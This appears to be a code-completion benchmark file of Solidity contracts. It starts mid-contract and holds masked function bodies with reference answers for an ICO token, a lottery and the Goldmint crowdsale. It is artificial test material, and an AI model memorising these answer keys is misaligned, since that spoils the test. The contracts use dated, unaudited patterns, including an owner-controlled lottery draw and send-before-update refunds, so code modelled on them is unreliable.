Multisig(multisigAddress).requestOwnerChange(owner, _newAdmin); return true; } /** * @dev Change admin * @param _address New owner address */ function changeAdmin(address _address) public contractActive onlyOwner multisigAdminCheck(ownerTransaction[owner][_address], _address) returns (bool) { owner = _address; return true; } /** * @dev Request Multisig contract for vesting * @param _address Token holder address * @param _amount Amount to be vested */ function vestRequest(address _address, uint256 _amount) public contractActive onlyOwner returns (bool) { vestTransaction[owner][_address][_amount] = Multisig(multisigAddress).vestingTransaction(owner, _address, _amount); return true; } /** * @dev Request Multisig contract for Mint * @param _amount Amount to be Minted * @param _time Current time */ function mintRequest(uint256 _amount, uint256 _time) public contractActive onlyOwner returns (bool) { mintTransaction[owner][_amount][_time] = Multisig(multisigAddress).mintTransaction(owner, _amount, _time); return true; } /** * @dev Check balance of the holder * @param tokenOwner Token holder address */ function balanceOf(address tokenOwner) public view returns (uint256) { return balances[tokenOwner]; } /** * @dev Transfer token to specified address * @param _to Receiver address * @param _value Amount of the tokens */ function transfer(address _to, uint256 _value) public contractActive returns (bool) { require(_to != address(0), "Null address"); require(_value > 0, "Invalid Value"); require(balances[msg.sender] >= _value, "Insufficient balance"); _transfer(msg.sender, _to, _value); return true; } /** * @dev Approve respective tokens for spender * @param _spender Spender address * @param _value The amount of tokens to be allowed */ function approve(address _spender, uint256 _value) public contractActive returns (bool) { require(_spender != address(0), "Null address"); require(_value >= 0, "Invalid value"); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev To view approved balance * @param holder The holder address * @param delegate The spender address */ function allowance(address holder, address delegate) public view returns (uint256) { return allowed[holder][delegate]; } /** * @dev Transfer tokens from one address to another * @param _from The holder address * @param _to The Receiver address * @param _value the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public contractActive returns (bool) { require( _to != address(0), "Null address"); require(_from != address(0), "Null address"); require( _value > 0 , "Invalid value"); require( _value <= balances[_from] , "Insufficient balance"); require( _value <= allowed[_from][msg.sender] , "Insufficient allowance"); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } <FILL_FUNCTION> /** * @dev Freeze tokens - User can freeze again only after UnFreezeing the previous one. * @param _value The amount of tokens to be freeze * @param _time Timeperiod for freezing in seconds */ function freeze(uint256 _value, uint256 _time) public contractActive returns (bool) { require(_value > 0, "Invalid Value"); require(freezeOf[msg.sender][0] == 0, "Tokens already frozen"); require( _value <= balances[msg.sender], "Insufficient balance"); require(_time >= minfreezeTime, "Invalid time"); balances[msg.sender] = balances[msg.sender].sub(_value); freezeOf[msg.sender][0] = _value; freezeOf[msg.sender][1] = now.add(_time); emit Transfer(msg.sender, address(this), _value); emit Freeze(msg.sender, _value, now); return true; } /** * @dev UnFreeze tokens */ function unfreeze() public contractActive returns (bool) { require(freezeOf[msg.sender][0] != 0, "Sender has no tokens to unfreeze"); require(now >= freezeOf[msg.sender][1], "Invalid time"); balances[msg.sender] = balances[msg.sender].add(freezeOf[msg.sender][0]); emit Transfer(address(this), msg.sender, freezeOf[msg.sender][0]); emit Unfreeze(msg.sender, freezeOf[msg.sender][0], now); freezeOf[msg.sender][0] = 0; return true; } /** * @dev Mint tokens to increase the circulating supply * @param _amount The amount of tokens to be Minted * @param _reqestedTime Request submitted time */ function mint(uint256 _amount, uint256 _reqestedTime) public contractActive onlyOwner multisigCheck(mintTransaction[owner][_amount][_reqestedTime]) returns (bool) { require( _amount > 0, "Invalid amount"); require(circulatingSupply.add(_amount) <= totalSupply, "Supply exceeds limit"); circulatingSupply = circulatingSupply.add(_amount); balances[owner] = balances[owner].add(_amount); emit Transfer(address(0), owner, _amount); return true; } /** * @dev Vesting lock tokens * @param _address Holder address * @param _amount Amount of token to be locked */ function vestLock(address _address, uint256 _amount) public contractActive onlyOwner multisigCheck(vestTransaction[owner][_address][_amount]) returns (bool) { require(_amount > 0, "Invalid Amount"); require(balances[_address] >= _amount, "Invalid balance"); balances[_address] = balances[_address].sub(_amount); lockOf[_address] = lockOf[_address].add(_amount); emit Transfer(_address,address(this),_amount); emit Lock(_address,_amount,now); return true; } /** * @dev Vesting Release token * @param _address Holder address * @param _amount Amount of token to be released */ function vestRelease(address _address, uint256 _amount) public contractActive onlyOwner multisigCheck(vestTransaction[owner][_address][_amount]) returns (bool) { require(_amount > 0, "Invalid Amount"); require(lockOf[_address] >= _amount, "Insufficient Amount"); lockOf[_address] = lockOf[_address].sub(_amount); balances[_address] = balances[_address].add(_amount); emit Transfer(address(this), _address, _amount); emit Release(_address, _amount,now); return true; } /** * @dev updatecontractStatus to change the status of the contract from active to inactive * @param _status status of the contract */ function updatecontractStatus(bool _status) public onlyOwner returns(bool) { require(contractStatus != _status, "Invalid status"); contractStatus = _status; return true; } /** * dev Update Multisig Contract address * @param _address New contract address */ function updateMultisigAddress(address _address) public contractActive onlyOwner returns(bool) { require(_address != address(0), "Null Address"); multisigAddress = _address; return true; } }
balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value);
function _transfer(address _from, address _to, uint256 _value) internal
/** * @dev Internal Transfer function * @param _from The holder address * @param _to The Receiver address * @param _value the amount of tokens to be transferred */ function _transfer(address _from, address _to, uint256 _value) internal
46,715
UTEMIS
getBonus
contract UTEMIS is ERC20{ uint8 public constant TOKEN_DECIMAL = 18; uint256 public constant TOKEN_ESCALE = 1 * 10 ** uint256(TOKEN_DECIMAL); uint256 public constant TOTAL_SUPPLY = 1000000000000 * TOKEN_ESCALE; // 1000000000000000000000000 Smart contract UNITS | 1.000.000.000.000,000000000000 Ethereum representation uint256 public constant ICO_SUPPLY = 250000000000 * TOKEN_ESCALE; // 250000000000000000000000 Smart contract UNITS | 200.000.000.000,000000000000 Ethereum representation uint public constant MIN_ACCEPTED_VALUE = 50000000000000000 wei; uint public constant VALUE_OF_UTS = 666666599999 wei; uint public constant START_ICO = 1518714000; // 15 Feb 2018 17:00:00 GMT | 15 Feb 2018 18:00:00 GMT+1 string public constant TOKEN_NAME = "UTEMIS"; string public constant TOKEN_SYMBOL = "UTS"; /*------------------- Finish public constants -------------------*/ /******************** Start private NO-Constants variables ********************/ uint[4] private bonusTime = [14 days , 45 days , 74 days]; uint8[4] private bonusBenefit = [uint8(50) , uint8(30) , uint8(10)]; uint8[4] private bonusPerInvestion_10 = [uint8(25) , uint8(15) , uint8(5)]; uint8[4] private bonusPerInvestion_50 = [uint8(50) , uint8(30) , uint8(20)]; /*------------------- Finish private NO-Constants variables -------------------*/ /******************** Start public NO-Constants variables ********************/ address public owner; address public beneficiary; uint public ethersCollecteds; uint public tokensSold; uint256 public totalSupply = TOTAL_SUPPLY; bool public icoStarted; mapping(address => uint256) public balances; mapping(address => Investors) public investorsList; mapping(address => mapping (address => uint256)) public allowed; address[] public investorsAddress; string public name = TOKEN_NAME; uint8 public decimals = TOKEN_DECIMAL; string public symbol = TOKEN_SYMBOL; /*------------------- Finish public NO-Constants variables -------------------*/ struct Investors{ uint256 amount; uint when; } event Transfer(address indexed from , address indexed to , uint256 value); event Approval(address indexed _owner , address indexed _spender , uint256 _value); event Burn(address indexed from, uint256 value); event FundTransfer(address backer , uint amount , address investor); //Safe math function safeSub(uint a , uint b) internal pure returns (uint){assert(b <= a);return a - b;} function safeAdd(uint a , uint b) internal pure returns (uint){uint c = a + b;assert(c>=a && c>=b);return c;} modifier onlyOwner() { require(msg.sender == owner); _; } modifier icoIsStarted(){ require(icoStarted == true); require(now >= START_ICO); _; } modifier icoIsStopped(){ require(icoStarted == false); _; } modifier minValue(){ require(msg.value >= MIN_ACCEPTED_VALUE); _; } function UTEMIS() public{ balances[msg.sender] = totalSupply; owner = msg.sender; } /** * ERC20 */ function balanceOf(address _owner) public view returns(uint256 balance){ return balances[_owner]; } /** * ERC20 */ function totalSupply() constant public returns(uint256 supply){ return totalSupply; } /** * For transfer tokens. Internal use, only can executed by this contract ERC20 * ERC20 * @param _from Source address * @param _to Destination address * @param _value Amount of tokens to send */ function _transfer(address _from , address _to , uint _value) internal{ require(_to != 0x0); //Prevent send tokens to 0x0 address require(balances[_from] >= _value); //Check if the sender have enough tokens require(balances[_to] + _value > balances[_to]); //Check for overflows balances[_from] = safeSub(balances[_from] , _value); //Subtract from the source ( sender ) balances[_to] = safeAdd(balances[_to] , _value); //Add tokens to destination uint previousBalance = balances[_from] + balances[_to]; //To make assert Transfer(_from , _to , _value); //Fire event for clients assert(balances[_from] + balances[_to] == previousBalance); //Check the assert } /** * Commonly transfer tokens * ERC20 * @param _to Destination address * @param _value Amount of tokens to send */ function transfer(address _to , uint _value) public returns (bool success){ _transfer(msg.sender , _to , _value); return true; } /** * Transfer token from address to another address that's allowed to. * ERC20 * @param _from Source address * @param _to Destination address * @param _value Amount of tokens to send */ function transferFrom(address _from , address _to , uint256 _value) public returns (bool success){ if(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { _transfer(_from , _to , _value); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender] , _value); return true; }else{ return false; } } /** * Approve spender to transfer amount of tokens from your address ERC20 * ERC20 * @param _spender Address that can transfer tokens from your address * @param _value Amount of tokens that can be sended by spender */ function approve(address _spender , uint256 _value) public returns (bool success){ allowed[msg.sender][_spender] = _value; Approval(msg.sender , _spender , _value); return true; } /** * Returns the amount of tokens allowed by owner to spender ERC20 * ERC20 * @param _owner Source address that allow's spend tokens * @param _spender Address that can transfer tokens form allowed */ function allowance(address _owner , address _spender) public view returns(uint256 allowance_){ return allowed[_owner][_spender]; } /** * Get investors info * * @return [] Returns an array with address of investors, amount invested and when invested */ function getInvestors() constant public returns(address[] , uint[] , uint[]){ uint length = investorsAddress.length; //Length of array address[] memory addr = new address[](length); uint[] memory amount = new uint[](length); uint[] memory when = new uint[](length); for(uint i = 0; i < length; i++){ address key = investorsAddress[i]; addr[i] = key; amount[i] = investorsList[key].amount; when[i] = investorsList[key].when; } return (addr , amount , when); } /** * Get amount of bonus to apply * * @param _ethers Amount of ethers invested, for calculation the bonus * @return uint Returns a % of bonification to apply */ function getBonus(uint _ethers) public view returns(uint8){<FILL_FUNCTION_BODY> } /** * Calculate the amount of tokens to sends depeding on the amount of ethers received * * @param _ethers Amount of ethers for convert to tokens * @return uint Returns the amount of tokens to send */ function getTokensToSend(uint _ethers) public view returns (uint){ uint tokensToSend = 0; //Assign tokens to send to 0 uint8 bonus = getBonus(_ethers); //Get amount of bonification uint ethToTokens = (_ethers * 10 ** uint256(TOKEN_DECIMAL)) / VALUE_OF_UTS; //Make the conversion, divide amount of ethers by value of each UTS uint amountBonus = ethToTokens / 100 * bonus; tokensToSend = ethToTokens + amountBonus; return tokensToSend; } /** * Fallback when the contract receives ethers * */ function () payable public icoIsStarted minValue{ uint amount_actually_invested = investorsList[msg.sender].amount; //Get the actually amount invested if(amount_actually_invested == 0){ //If amount invested are equal to 0, will add like new investor uint index = investorsAddress.length++; investorsAddress[index] = msg.sender; investorsList[msg.sender] = Investors(msg.value , now); //Store investors info } if(amount_actually_invested > 0){ //If amount invested are greater than 0 investorsList[msg.sender].amount += msg.value; //Increase the amount invested investorsList[msg.sender].when = now; //Change the last time invested } uint tokensToSend = getTokensToSend(msg.value); //Calc the tokens to send depending on ethers received tokensSold += tokensToSend; require(balances[owner] >= tokensToSend); _transfer(owner , msg.sender , tokensToSend); //Transfer tokens to investor ethersCollecteds += msg.value; if(beneficiary == address(0)){ beneficiary = owner; } beneficiary.transfer(msg.value); FundTransfer(owner , msg.value , msg.sender); //Fire events for clients } /** * Start the ico manually * */ function startIco() public onlyOwner{ icoStarted = true; //Set the ico started } /** * Stop the ico manually * */ function stopIco() public onlyOwner{ icoStarted = false; //Set the ico stopped } function setBeneficiary(address _beneficiary) public onlyOwner{ beneficiary = _beneficiary; } function destroyContract()external onlyOwner{ selfdestruct(owner); } }
contract UTEMIS is ERC20{ uint8 public constant TOKEN_DECIMAL = 18; uint256 public constant TOKEN_ESCALE = 1 * 10 ** uint256(TOKEN_DECIMAL); uint256 public constant TOTAL_SUPPLY = 1000000000000 * TOKEN_ESCALE; // 1000000000000000000000000 Smart contract UNITS | 1.000.000.000.000,000000000000 Ethereum representation uint256 public constant ICO_SUPPLY = 250000000000 * TOKEN_ESCALE; // 250000000000000000000000 Smart contract UNITS | 200.000.000.000,000000000000 Ethereum representation uint public constant MIN_ACCEPTED_VALUE = 50000000000000000 wei; uint public constant VALUE_OF_UTS = 666666599999 wei; uint public constant START_ICO = 1518714000; // 15 Feb 2018 17:00:00 GMT | 15 Feb 2018 18:00:00 GMT+1 string public constant TOKEN_NAME = "UTEMIS"; string public constant TOKEN_SYMBOL = "UTS"; /*------------------- Finish public constants -------------------*/ /******************** Start private NO-Constants variables ********************/ uint[4] private bonusTime = [14 days , 45 days , 74 days]; uint8[4] private bonusBenefit = [uint8(50) , uint8(30) , uint8(10)]; uint8[4] private bonusPerInvestion_10 = [uint8(25) , uint8(15) , uint8(5)]; uint8[4] private bonusPerInvestion_50 = [uint8(50) , uint8(30) , uint8(20)]; /*------------------- Finish private NO-Constants variables -------------------*/ /******************** Start public NO-Constants variables ********************/ address public owner; address public beneficiary; uint public ethersCollecteds; uint public tokensSold; uint256 public totalSupply = TOTAL_SUPPLY; bool public icoStarted; mapping(address => uint256) public balances; mapping(address => Investors) public investorsList; mapping(address => mapping (address => uint256)) public allowed; address[] public investorsAddress; string public name = TOKEN_NAME; uint8 public decimals = TOKEN_DECIMAL; string public symbol = TOKEN_SYMBOL; /*------------------- Finish public NO-Constants variables -------------------*/ struct Investors{ uint256 amount; uint when; } event Transfer(address indexed from , address indexed to , uint256 value); event Approval(address indexed _owner , address indexed _spender , uint256 _value); event Burn(address indexed from, uint256 value); event FundTransfer(address backer , uint amount , address investor); //Safe math function safeSub(uint a , uint b) internal pure returns (uint){assert(b <= a);return a - b;} function safeAdd(uint a , uint b) internal pure returns (uint){uint c = a + b;assert(c>=a && c>=b);return c;} modifier onlyOwner() { require(msg.sender == owner); _; } modifier icoIsStarted(){ require(icoStarted == true); require(now >= START_ICO); _; } modifier icoIsStopped(){ require(icoStarted == false); _; } modifier minValue(){ require(msg.value >= MIN_ACCEPTED_VALUE); _; } function UTEMIS() public{ balances[msg.sender] = totalSupply; owner = msg.sender; } /** * ERC20 */ function balanceOf(address _owner) public view returns(uint256 balance){ return balances[_owner]; } /** * ERC20 */ function totalSupply() constant public returns(uint256 supply){ return totalSupply; } /** * For transfer tokens. Internal use, only can executed by this contract ERC20 * ERC20 * @param _from Source address * @param _to Destination address * @param _value Amount of tokens to send */ function _transfer(address _from , address _to , uint _value) internal{ require(_to != 0x0); //Prevent send tokens to 0x0 address require(balances[_from] >= _value); //Check if the sender have enough tokens require(balances[_to] + _value > balances[_to]); //Check for overflows balances[_from] = safeSub(balances[_from] , _value); //Subtract from the source ( sender ) balances[_to] = safeAdd(balances[_to] , _value); //Add tokens to destination uint previousBalance = balances[_from] + balances[_to]; //To make assert Transfer(_from , _to , _value); //Fire event for clients assert(balances[_from] + balances[_to] == previousBalance); //Check the assert } /** * Commonly transfer tokens * ERC20 * @param _to Destination address * @param _value Amount of tokens to send */ function transfer(address _to , uint _value) public returns (bool success){ _transfer(msg.sender , _to , _value); return true; } /** * Transfer token from address to another address that's allowed to. * ERC20 * @param _from Source address * @param _to Destination address * @param _value Amount of tokens to send */ function transferFrom(address _from , address _to , uint256 _value) public returns (bool success){ if(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { _transfer(_from , _to , _value); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender] , _value); return true; }else{ return false; } } /** * Approve spender to transfer amount of tokens from your address ERC20 * ERC20 * @param _spender Address that can transfer tokens from your address * @param _value Amount of tokens that can be sended by spender */ function approve(address _spender , uint256 _value) public returns (bool success){ allowed[msg.sender][_spender] = _value; Approval(msg.sender , _spender , _value); return true; } /** * Returns the amount of tokens allowed by owner to spender ERC20 * ERC20 * @param _owner Source address that allow's spend tokens * @param _spender Address that can transfer tokens form allowed */ function allowance(address _owner , address _spender) public view returns(uint256 allowance_){ return allowed[_owner][_spender]; } /** * Get investors info * * @return [] Returns an array with address of investors, amount invested and when invested */ function getInvestors() constant public returns(address[] , uint[] , uint[]){ uint length = investorsAddress.length; //Length of array address[] memory addr = new address[](length); uint[] memory amount = new uint[](length); uint[] memory when = new uint[](length); for(uint i = 0; i < length; i++){ address key = investorsAddress[i]; addr[i] = key; amount[i] = investorsList[key].amount; when[i] = investorsList[key].when; } return (addr , amount , when); } <FILL_FUNCTION> /** * Calculate the amount of tokens to sends depeding on the amount of ethers received * * @param _ethers Amount of ethers for convert to tokens * @return uint Returns the amount of tokens to send */ function getTokensToSend(uint _ethers) public view returns (uint){ uint tokensToSend = 0; //Assign tokens to send to 0 uint8 bonus = getBonus(_ethers); //Get amount of bonification uint ethToTokens = (_ethers * 10 ** uint256(TOKEN_DECIMAL)) / VALUE_OF_UTS; //Make the conversion, divide amount of ethers by value of each UTS uint amountBonus = ethToTokens / 100 * bonus; tokensToSend = ethToTokens + amountBonus; return tokensToSend; } /** * Fallback when the contract receives ethers * */ function () payable public icoIsStarted minValue{ uint amount_actually_invested = investorsList[msg.sender].amount; //Get the actually amount invested if(amount_actually_invested == 0){ //If amount invested are equal to 0, will add like new investor uint index = investorsAddress.length++; investorsAddress[index] = msg.sender; investorsList[msg.sender] = Investors(msg.value , now); //Store investors info } if(amount_actually_invested > 0){ //If amount invested are greater than 0 investorsList[msg.sender].amount += msg.value; //Increase the amount invested investorsList[msg.sender].when = now; //Change the last time invested } uint tokensToSend = getTokensToSend(msg.value); //Calc the tokens to send depending on ethers received tokensSold += tokensToSend; require(balances[owner] >= tokensToSend); _transfer(owner , msg.sender , tokensToSend); //Transfer tokens to investor ethersCollecteds += msg.value; if(beneficiary == address(0)){ beneficiary = owner; } beneficiary.transfer(msg.value); FundTransfer(owner , msg.value , msg.sender); //Fire events for clients } /** * Start the ico manually * */ function startIco() public onlyOwner{ icoStarted = true; //Set the ico started } /** * Stop the ico manually * */ function stopIco() public onlyOwner{ icoStarted = false; //Set the ico stopped } function setBeneficiary(address _beneficiary) public onlyOwner{ beneficiary = _beneficiary; } function destroyContract()external onlyOwner{ selfdestruct(owner); } }
uint8 _bonus = 0; //Assign bonus to uint8 _bonusPerInvestion = 0; uint starter = now - START_ICO; //To control end time of bonus for(uint i = 0; i < bonusTime.length; i++){ //For loop if(starter <= bonusTime[i]){ //If the starter are greater than bonusTime, the bonus will be 0 if(_ethers > 10 ether && _ethers <= 50 ether){ _bonusPerInvestion = bonusPerInvestion_10[i]; } if(_ethers > 50 ether){ _bonusPerInvestion = bonusPerInvestion_50[i]; } _bonus = bonusBenefit[i]; //Asign amount of bonus to bonus_ variable break; //Break the loop } } return _bonus + _bonusPerInvestion;
function getBonus(uint _ethers) public view returns(uint8)
/** * Get amount of bonus to apply * * @param _ethers Amount of ethers invested, for calculation the bonus * @return uint Returns a % of bonification to apply */ function getBonus(uint _ethers) public view returns(uint8)
94,192
hbys
share
contract hbys{ mapping(uint=>address) public addr; uint public counter; uint public bingo; address owner; event Lucknumber(address holder,uint startfrom,uint quantity); modifier onlyowner{require(msg.sender == owner);_;} constructor() public{owner = msg.sender;} function() payable public{ require(msg.value>0 && msg.value<=5*10**18); getticket(); } function getticket() internal{ //require(msg.sender==tx.origin); uint fee; fee+=msg.value/10; owner.transfer(fee); fee=0; address _holder=msg.sender; uint _startfrom=counter; uint ticketnum; ticketnum=msg.value/(0.1*10**18); uint _quantity=ticketnum; counter+=ticketnum; uint8 i=0; for (i=0;i<ticketnum;i++){ addr[_startfrom+i]=msg.sender; } emit Lucknumber(_holder,_startfrom,_quantity); } /* work out the target-number:bingo,and sent 2% of cash pool to the lucky guy. Join the two decimal of Dow Jones index's open price,close price,high price and low price in sequence. eg. if the open price is 25012.33,the close price is 25103.12,the high price is 25902.26, and the low price is 25001.49, then dji will be 33122649. */ function share(uint dji) public onlyowner{<FILL_FUNCTION_BODY> } }
contract hbys{ mapping(uint=>address) public addr; uint public counter; uint public bingo; address owner; event Lucknumber(address holder,uint startfrom,uint quantity); modifier onlyowner{require(msg.sender == owner);_;} constructor() public{owner = msg.sender;} function() payable public{ require(msg.value>0 && msg.value<=5*10**18); getticket(); } function getticket() internal{ //require(msg.sender==tx.origin); uint fee; fee+=msg.value/10; owner.transfer(fee); fee=0; address _holder=msg.sender; uint _startfrom=counter; uint ticketnum; ticketnum=msg.value/(0.1*10**18); uint _quantity=ticketnum; counter+=ticketnum; uint8 i=0; for (i=0;i<ticketnum;i++){ addr[_startfrom+i]=msg.sender; } emit Lucknumber(_holder,_startfrom,_quantity); } <FILL_FUNCTION> }
require(dji>=0 && dji<=99999999); bingo=uint(keccak256(abi.encodePacked(dji)))%counter; addr[bingo].transfer(address(this).balance/50);
function share(uint dji) public onlyowner
/* work out the target-number:bingo,and sent 2% of cash pool to the lucky guy. Join the two decimal of Dow Jones index's open price,close price,high price and low price in sequence. eg. if the open price is 25012.33,the close price is 25103.12,the high price is 25902.26, and the low price is 25001.49, then dji will be 33122649. */ function share(uint dji) public onlyowner
61,594
Goldmint
issueTokensInternal
contract Goldmint is SafeMath { // Constants: // These values are HARD CODED!!! // For extra security we split single multisig wallet into 10 separate multisig wallets // // TODO: set real params here address[] public multisigs = [ 0x27ce565b1047c6258164062983bb8bc2917f11d2, 0xfb3afc815894e91fe1ab6e6ef36f8565fbb904f6, 0x7e2a7a10509177db2a7ea41e728743c4eb42f528, 0x27ce565b1047c6258164062983bb8bc2917f11d2, 0xfb3afc815894e91fe1ab6e6ef36f8565fbb904f6, 0x7e2a7a10509177db2a7ea41e728743c4eb42f528, 0x27ce565b1047c6258164062983bb8bc2917f11d2, 0xfb3afc815894e91fe1ab6e6ef36f8565fbb904f6, 0x7e2a7a10509177db2a7ea41e728743c4eb42f528, 0xF4Ce80097bf1E584822dBcA84f91D5d7d9df0846 ]; // We count ETH invested by person, for refunds (see below) mapping(address => uint) ethInvestedBy; // These can be changed before ICO starts ($7USD/MNTP) uint constant STD_PRICE_USD_PER_1000_TOKENS = 7000; // USD/ETH is fixed for the whole ICO // WARNING: if USD/ETH rate changes DURING ICO -> we won't change it // coinmarketcap.com 04.09.2017 uint constant ETH_PRICE_IN_USD = 300; // Price changes from block to block //uint constant SINGLE_BLOCK_LEN = 700000; uint constant SINGLE_BLOCK_LEN = 100; // 1 000 000 tokens uint public constant BONUS_REWARD = 1000000 * 1 ether; // 2 000 000 tokens uint public constant FOUNDERS_REWARD = 2000000 * 1 ether; // 7 000 000 is sold during the ICO //uint public constant ICO_TOKEN_SUPPLY_LIMIT = 7000000 * 1 ether; uint public constant ICO_TOKEN_SUPPLY_LIMIT = 150 * 1 ether; // 150 000 tokens soft cap (otherwise - refund) uint public constant ICO_TOKEN_SOFT_CAP = 150000 * 1 ether; // Fields: address public creator = 0x0; address public tokenManager = 0x0; address public otherCurrenciesChecker = 0x0; uint64 public icoStartedTime = 0; MNTP public mntToken; GoldmintUnsold public unsoldContract; // Total amount of tokens sold during ICO uint public icoTokensSold = 0; // Total amount of tokens sent to GoldmintUnsold contract after ICO is finished uint public icoTokensUnsold = 0; // Total number of tokens that were issued by a scripts uint public issuedExternallyTokens = 0; // This is where FOUNDERS_REWARD will be allocated address public foundersRewardsAccount = 0x0; enum State{ Init, ICORunning, ICOPaused, // Collected ETH is transferred to multisigs. // Unsold tokens transferred to GoldmintUnsold contract. ICOFinished, // We start to refund if Soft Cap is not reached. // Then each token holder should request a refund personally from his // personal wallet. // // We will return ETHs only to the original address. If your address is changed // or you have lost your keys -> you will not be able to get a refund. // // There is no any possibility to transfer tokens // There is no any possibility to move back Refunding, // In this state we lock all MNT tokens forever. // We are going to migrate MNTP -> MNT tokens during this stage. // // There is no any possibility to transfer tokens // There is no any possibility to move back Migrating } State public currentState = State.Init; // Modifiers: modifier onlyCreator() { require(msg.sender==creator); _; } modifier onlyTokenManager() { require(msg.sender==tokenManager); _; } modifier onlyOtherCurrenciesChecker() { require(msg.sender==otherCurrenciesChecker); _; } modifier onlyInState(State state){ require(state==currentState); _; } // Events: event LogStateSwitch(State newState); event LogBuy(address indexed owner, uint value); event LogBurn(address indexed owner, uint value); // Functions: /// @dev Constructor function Goldmint( address _tokenManager, address _otherCurrenciesChecker, address _mntTokenAddress, address _unsoldContractAddress, address _foundersVestingAddress) { creator = msg.sender; tokenManager = _tokenManager; otherCurrenciesChecker = _otherCurrenciesChecker; mntToken = MNTP(_mntTokenAddress); unsoldContract = GoldmintUnsold(_unsoldContractAddress); // slight rename foundersRewardsAccount = _foundersVestingAddress; assert(multisigs.length==10); } function startICO() public onlyCreator onlyInState(State.Init) { setState(State.ICORunning); icoStartedTime = uint64(now); mntToken.lockTransfer(true); mntToken.issueTokens(foundersRewardsAccount, FOUNDERS_REWARD); } function pauseICO() public onlyCreator onlyInState(State.ICORunning) { setState(State.ICOPaused); } function resumeICO() public onlyCreator onlyInState(State.ICOPaused) { setState(State.ICORunning); } function startRefunding() public onlyCreator onlyInState(State.ICORunning) { // only switch to this state if less than ICO_TOKEN_SOFT_CAP sold require(icoTokensSold < ICO_TOKEN_SOFT_CAP); setState(State.Refunding); // in this state tokens still shouldn't be transferred assert(mntToken.lockTransfers()); } function startMigration() public onlyCreator onlyInState(State.ICOFinished) { // there is no way back... setState(State.Migrating); // disable token transfers mntToken.lockTransfer(true); } /// @dev This function can be called by creator at any time, /// or by anyone if ICO has really finished. function finishICO() public onlyInState(State.ICORunning) { require(msg.sender == creator || isIcoFinished()); setState(State.ICOFinished); // 1 - lock all transfers mntToken.lockTransfer(false); // 2 - move all unsold tokens to unsoldTokens contract icoTokensUnsold = safeSub(ICO_TOKEN_SUPPLY_LIMIT,icoTokensSold); if(icoTokensUnsold>0){ mntToken.issueTokens(unsoldContract,icoTokensUnsold); unsoldContract.finishIco(); } // 3 - send all ETH to multisigs // we have N separate multisigs for extra security uint sendThisAmount = (this.balance / 10); // 3.1 - send to 9 multisigs for(uint i=0; i<9; ++i){ address ms = multisigs[i]; if(this.balance>=sendThisAmount){ ms.transfer(sendThisAmount); } } // 3.2 - send everything left to 10th multisig if(0!=this.balance){ address lastMs = multisigs[9]; lastMs.transfer(this.balance); } } function setState(State _s) internal { currentState = _s; LogStateSwitch(_s); } // Access methods: function setTokenManager(address _new) public onlyTokenManager { tokenManager = _new; } // TODO: stealing creator's key means stealing otherCurrenciesChecker key too! /* function setOtherCurrenciesChecker(address _new) public onlyCreator { otherCurrenciesChecker = _new; } */ // These are used by frontend so we can not remove them function getTokensIcoSold() constant public returns (uint){ return icoTokensSold; } function getTotalIcoTokens() constant public returns (uint){ return ICO_TOKEN_SUPPLY_LIMIT; } function getMntTokenBalance(address _of) constant public returns (uint){ return mntToken.balanceOf(_of); } function getBlockLength()constant public returns (uint){ return SINGLE_BLOCK_LEN; } function getCurrentPrice()constant public returns (uint){ return getMntTokensPerEth(icoTokensSold); } ///////////////////////////// function isIcoFinished() constant public returns(bool) { return (icoStartedTime > 0) && (now > (icoStartedTime + 30 days) || (icoTokensSold >= ICO_TOKEN_SUPPLY_LIMIT)); } function getMntTokensPerEth(uint _tokensSold) public constant returns (uint){ // 10 buckets uint priceIndex = (_tokensSold / 1 ether) / SINGLE_BLOCK_LEN; assert(priceIndex>=0 && (priceIndex<=9)); uint8[10] memory discountPercents = [20,15,10,8,6,4,2,0,0,0]; // We have to multiply by '1 ether' to avoid float truncations // Example: ($7000 * 100) / 120 = $5833.33333 uint pricePer1000tokensUsd = ((STD_PRICE_USD_PER_1000_TOKENS * 100) * 1 ether) / (100 + discountPercents[priceIndex]); // Correct: 300000 / 5833.33333333 = 51.42857142 // We have to multiply by '1 ether' to avoid float truncations uint mntPerEth = (ETH_PRICE_IN_USD * 1000 * 1 ether * 1 ether) / pricePer1000tokensUsd; return mntPerEth; } function buyTokens(address _buyer) public payable onlyInState(State.ICORunning) { require(msg.value!=0); // The price is selected based on current sold tokens. // Price can 'overlap'. For example: // 1. if currently we sold 699950 tokens (the price is 10% discount) // 2. buyer buys 1000 tokens // 3. the price of all 1000 tokens would be with 10% discount!!! uint newTokens = (msg.value * getMntTokensPerEth(icoTokensSold)) / 1 ether; issueTokensInternal(_buyer,newTokens); // Update this only when buying from ETH ethInvestedBy[msg.sender] = safeAdd(ethInvestedBy[msg.sender], msg.value); } /// @dev This is called by other currency processors to issue new tokens function issueTokensFromOtherCurrency(address _to, uint _weiCount) onlyInState(State.ICORunning) public onlyOtherCurrenciesChecker { require(_weiCount!=0); uint newTokens = (_weiCount * getMntTokensPerEth(icoTokensSold)) / 1 ether; issueTokensInternal(_to,newTokens); } /// @dev This can be called to manually issue new tokens /// from the bonus reward function issueTokensExternal(address _to, uint _tokens) public onlyInState(State.ICOFinished) onlyTokenManager { // can not issue more than BONUS_REWARD require((issuedExternallyTokens + _tokens)<=BONUS_REWARD); mntToken.issueTokens(_to,_tokens); issuedExternallyTokens = issuedExternallyTokens + _tokens; } function issueTokensInternal(address _to, uint _tokens) internal {<FILL_FUNCTION_BODY> } // anyone can call this and get his money back function getMyRefund() public onlyInState(State.Refunding) { address sender = msg.sender; uint ethValue = ethInvestedBy[sender]; require(ethValue > 0); // 1 - send money back sender.transfer(ethValue); ethInvestedBy[sender] = 0; // 2 - burn tokens mntToken.burnTokens(sender, mntToken.balanceOf(sender)); } // Default fallback function function() payable { // buyTokens -> issueTokensInternal buyTokens(msg.sender); } }
